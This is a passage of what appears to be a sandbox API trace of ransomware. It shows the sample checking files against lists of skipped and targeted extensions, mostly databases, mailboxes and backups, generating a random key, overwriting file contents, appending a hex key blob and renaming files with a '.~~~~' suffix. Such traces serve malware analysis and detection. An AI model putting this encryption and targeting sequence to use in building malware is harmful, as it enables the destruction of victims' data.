	[0076.567] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab", lpSrch=".sys") returned 0x0
	[0076.567] lstrlenW (lpString=".msc") returned 4
	[0076.567] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab", lpSrch=".msc") returned 0x0
	[0076.567] lstrlenW (lpString=".com") returned 4
	[0076.567] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab", lpSrch=".com") returned 0x0
	[0076.568] lstrlenW (lpString=".lnk") returned 4
	[0076.568] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab", lpSrch=".lnk") returned 0x0
	[0076.568] lstrlenW (lpString=".msp") returned 4
	[0076.568] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab", lpSrch=".msp") returned 0x0
	[0076.568] lstrlenW (lpString=".pif") returned 4
	[0076.568] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab", lpSrch=".pif") returned 0x0
	[0076.568] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0076.568] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab", lpSrch="msp\r\n.pif") returned 0x0
	[0076.568] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\acclr.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
	[0076.568] lstrlenW (lpString=".sqb") returned 4
	[0076.568] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab", lpSrch=".sqb") returned 0x0
	[0076.568] lstrlenW (lpString=".ost") returned 4
	[0076.568] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab", lpSrch=".ost") returned 0x0
	[0076.568] lstrlenW (lpString=".txt") returned 4
	[0076.568] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab", lpSrch=".txt") returned 0x0
	[0076.569] lstrlenW (lpString=".mdt") returned 4
	[0076.569] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab", lpSrch=".mdt") returned 0x0
	[0076.569] lstrlenW (lpString=".BDB") returned 4
	[0076.569] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab", lpSrch=".BDB") returned 0x0
	[0076.569] lstrlenW (lpString=".eql") returned 4
	[0076.569] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab", lpSrch=".eql") returned 0x0
	[0076.569] lstrlenW (lpString=".DBF") returned 4
	[0076.569] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab", lpSrch=".DBF") returned 0x0
	[0076.569] lstrlenW (lpString=".EQL") returned 4
	[0076.569] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab", lpSrch=".EQL") returned 0x0
	[0076.569] lstrlenW (lpString=".FDB") returned 4
	[0076.569] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab", lpSrch=".FDB") returned 0x0
	[0076.569] lstrlenW (lpString=".EDB") returned 4
	[0076.569] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab", lpSrch=".EDB") returned 0x0
	[0076.569] lstrlenW (lpString=".DACPAC") returned 7
	[0076.569] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab", lpSrch=".DACPAC") returned 0x0
	[0076.569] lstrlenW (lpString=".VHD") returned 4
	[0076.569] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab", lpSrch=".VHD") returned 0x0
	[0076.569] lstrlenW (lpString=".DBV") returned 4
	[0076.569] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab", lpSrch=".DBV") returned 0x0
	[0076.569] lstrlenW (lpString=".dacpac") returned 7
	[0076.570] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab", lpSrch=".dacpac") returned 0x0
	[0076.570] lstrlenW (lpString=".sdf") returned 4
	[0076.570] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab", lpSrch=".sdf") returned 0x0
	[0076.570] lstrlenW (lpString=".accdb") returned 6
	[0076.570] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab", lpSrch=".accdb") returned 0x0
	[0076.570] lstrlenW (lpString=".DBX") returned 4
	[0076.570] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab", lpSrch=".DBX") returned 0x0
	[0076.570] lstrlenW (lpString=".MDT") returned 4
	[0076.570] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab", lpSrch=".MDT") returned 0x0
	[0076.570] lstrlenW (lpString=".SQB") returned 4
	[0076.570] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab", lpSrch=".SQB") returned 0x0
	[0076.570] lstrlenW (lpString=".vhd") returned 4
	[0076.570] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab", lpSrch=".vhd") returned 0x0
	[0076.570] lstrlenW (lpString=".bac") returned 4
	[0076.570] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab", lpSrch=".bac") returned 0x0
	[0076.570] lstrlenW (lpString=".mdf") returned 4
	[0076.570] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab", lpSrch=".mdf") returned 0x0
	[0076.570] lstrlenW (lpString=".BAK") returned 4
	[0076.570] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab", lpSrch=".BAK") returned 0x0
	[0076.570] lstrlenW (lpString=".BAC") returned 4
	[0076.570] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab", lpSrch=".BAC") returned 0x0
	[0076.570] lstrlenW (lpString=".dbs") returned 4
	[0076.570] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab", lpSrch=".dbs") returned 0x0
	[0076.570] lstrlenW (lpString=".vhdx") returned 5
	[0076.570] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab", lpSrch=".vhdx") returned 0x0
	[0076.571] lstrlenW (lpString=".NDF") returned 4
	[0076.571] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab", lpSrch=".NDF") returned 0x0
	[0076.571] lstrlenW (lpString=".dat") returned 4
	[0076.571] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab", lpSrch=".dat") returned 0x0
	[0076.571] lstrlenW (lpString=".DBS") returned 4
	[0076.571] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab", lpSrch=".DBS") returned 0x0
	[0076.571] lstrlenW (lpString=".CKP") returned 4
	[0076.571] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab", lpSrch=".CKP") returned 0x0
	[0076.571] lstrlenW (lpString=".edb") returned 4
	[0076.571] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab", lpSrch=".edb") returned 0x0
	[0076.571] lstrlenW (lpString=".PST") returned 4
	[0076.571] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab", lpSrch=".PST") returned 0x0
	[0076.571] lstrlenW (lpString=".dbf") returned 4
	[0076.571] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab", lpSrch=".dbf") returned 0x0
	[0076.571] lstrlenW (lpString=".SQL") returned 4
	[0076.571] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab", lpSrch=".SQL") returned 0x0
	[0076.571] lstrlenW (lpString=".pst") returned 4
	[0076.571] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab", lpSrch=".pst") returned 0x0
	[0076.571] lstrlenW (lpString=".dbv") returned 4
	[0076.571] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab", lpSrch=".dbv") returned 0x0
	[0076.571] lstrlenW (lpString=".SDF") returned 4
	[0076.571] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab", lpSrch=".SDF") returned 0x0
	[0076.571] lstrlenW (lpString=".dtxs") returned 5
	[0076.571] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab", lpSrch=".dtxs") returned 0x0
	[0076.572] lstrlenW (lpString=".db3") returned 4
	[0076.572] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab", lpSrch=".db3") returned 0x0
	[0076.572] lstrlenW (lpString=".OST") returned 4
	[0076.572] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab", lpSrch=".OST") returned 0x0
	[0076.572] lstrlenW (lpString=".dbx") returned 4
	[0076.572] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab", lpSrch=".dbx") returned 0x0
	[0076.572] lstrlenW (lpString=".DB3") returned 4
	[0076.572] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab", lpSrch=".DB3") returned 0x0
	[0076.572] lstrlenW (lpString=".DAT") returned 4
	[0076.572] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab", lpSrch=".DAT") returned 0x0
	[0076.572] lstrlenW (lpString=".VHDX") returned 5
	[0076.572] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab", lpSrch=".VHDX") returned 0x0
	[0076.572] lstrlenW (lpString=".ndf") returned 4
	[0076.572] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab", lpSrch=".ndf") returned 0x0
	[0076.572] lstrlenW (lpString=".DB") returned 3
	[0076.573] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab", lpSrch=".DB") returned 0x0
	[0076.573] lstrlenW (lpString=".sql") returned 4
	[0076.573] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab", lpSrch=".sql") returned 0x0
	[0076.573] lstrlenW (lpString=".MYD") returned 4
	[0076.573] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab", lpSrch=".MYD") returned 0x0
	[0076.573] lstrlenW (lpString=".DBT") returned 4
	[0076.573] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab", lpSrch=".DBT") returned 0x0
	[0076.573] lstrlenW (lpString=".ACCDB") returned 6
	[0076.664] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab", lpSrch=".ACCDB") returned 0x0
	[0076.664] lstrlenW (lpString=".fdb") returned 4
	[0076.664] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab", lpSrch=".fdb") returned 0x0
	[0076.664] lstrlenW (lpString=".bak") returned 4
	[0076.665] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab", lpSrch=".bak") returned 0x0
	[0076.665] lstrlenW (lpString=".myd") returned 4
	[0076.665] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab", lpSrch=".myd") returned 0x0
	[0076.665] lstrlenW (lpString=".DTXS") returned 5
	[0076.665] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab", lpSrch=".DTXS") returned 0x0
	[0076.665] lstrlenW (lpString=".ckp") returned 4
	[0076.665] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab", lpSrch=".ckp") returned 0x0
	[0076.665] lstrlenW (lpString=".dbt") returned 4
	[0076.665] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab", lpSrch=".dbt") returned 0x0
	[0076.665] lstrlenW (lpString=".db") returned 3
	[0076.665] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab", lpSrch=".db") returned 0x0
	[0076.665] lstrlenW (lpString=".TXT") returned 4
	[0076.665] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab", lpSrch=".TXT") returned 0x0
	[0076.665] lstrlenW (lpString=".MDF") returned 4
	[0076.665] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab", lpSrch=".MDF") returned 0x0
	[0076.665] lstrlenW (lpString=".bdb") returned 4
	[0076.665] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab", lpSrch=".bdb") returned 0x0
	[0076.665] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0076.665] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0076.665] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x3a3178
	[0076.665] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0076.665] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x39fe28) returned 1
	[0076.666] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0076.666] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0076.666] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0076.666] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0076.666] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x27f2050
	[0076.667] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=19665665186) returned 1
	[0076.667] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0x979989f0, dwHighDateTime=0x1d60e1e)) 
	[0076.667] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0076.667] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0076.667] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0076.667] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a3798
	[0076.667] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0076.667] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a3798 | out: hHeap=0x300000) returned 1
	[0076.667] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0076.667] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0076.667] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3e7450
	[0076.667] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0076.667] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0076.667] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7450 | out: hHeap=0x300000) returned 1
	[0076.667] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0076.667] GetLastError () returned 0x0
	[0076.668] GetLastError () returned 0x0
	[0076.668] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0076.668] GetLastError () returned 0x0
	[0076.668] GetLastError () returned 0x0
	[0076.668] ReadFile (in: hFile=0x118, lpBuffer=0x281bfd8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x281bfd8*, lpNumberOfBytesRead=0x1f8fec0*=0x19000, lpOverlapped=0x0) returned 1
	[0076.672] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0076.672] WriteFile (in: hFile=0x118, lpBuffer=0x281bfd8*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x281bfd8*, lpNumberOfBytesWritten=0x1f8fec0*=0x19000, lpOverlapped=0x0) returned 1
	[0076.674] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x281bfd8 | out: hHeap=0x300000) returned 1
	[0076.674] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0076.674] WriteFile (in: hFile=0x118, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0076.675] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0076.675] WriteFile (in: hFile=0x118, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0076.676] CloseHandle (hObject=0x118) returned 1
	[0076.676] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3b41e8
	[0076.676] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\acclr.cab"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab.~~~~" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\acclr.cab.~~~~")) returned 1
	[0076.677] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b41e8 | out: hHeap=0x300000) returned 1
	[0076.677] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0076.677] GetLastError () returned 0x0
	[0076.677] RtlWakeConditionVariable () returned 0x365f70
	[0076.677] GetCurrentThreadId () returned 0xaf0
	[0076.677] GetCurrentThreadId () returned 0xaf0
	[0076.677] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4bc8
	[0076.677] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a4d38 | out: hHeap=0x300000) returned 1
	[0076.677] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a37d0 | out: hHeap=0x300000) returned 1
	[0076.677] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4d38
	[0076.677] lstrlenW (lpString=".scr") returned 4
	[0076.677] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".scr") returned 0x0
	[0076.677] lstrlenW (lpString=".cmd") returned 4
	[0076.677] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".cmd") returned 0x0
	[0076.677] lstrlenW (lpString=".dll") returned 4
	[0076.677] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".dll") returned 0x0
	[0076.677] lstrlenW (lpString=".bat") returned 4
	[0076.677] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".bat") returned 0x0
	[0076.677] lstrlenW (lpString=".cpl") returned 4
	[0076.677] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".cpl") returned 0x0
	[0076.677] lstrlenW (lpString=".sys") returned 4
	[0076.677] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".sys") returned 0x0
	[0076.677] lstrlenW (lpString=".msc") returned 4
	[0076.677] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".msc") returned 0x0
	[0076.677] lstrlenW (lpString=".com") returned 4
	[0076.677] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".com") returned 0x0
	[0076.677] lstrlenW (lpString=".lnk") returned 4
	[0076.677] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".lnk") returned 0x0
	[0076.678] lstrlenW (lpString=".msp") returned 4
	[0076.678] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".msp") returned 0x0
	[0076.678] lstrlenW (lpString=".pif") returned 4
	[0076.678] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".pif") returned 0x0
	[0076.678] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0076.678] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch="msp\r\n.pif") returned 0x0
	[0076.678] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
	[0076.681] lstrlenW (lpString=".sqb") returned 4
	[0076.681] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".sqb") returned 0x0
	[0076.681] lstrlenW (lpString=".ost") returned 4
	[0076.681] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".ost") returned 0x0
	[0076.681] lstrlenW (lpString=".txt") returned 4
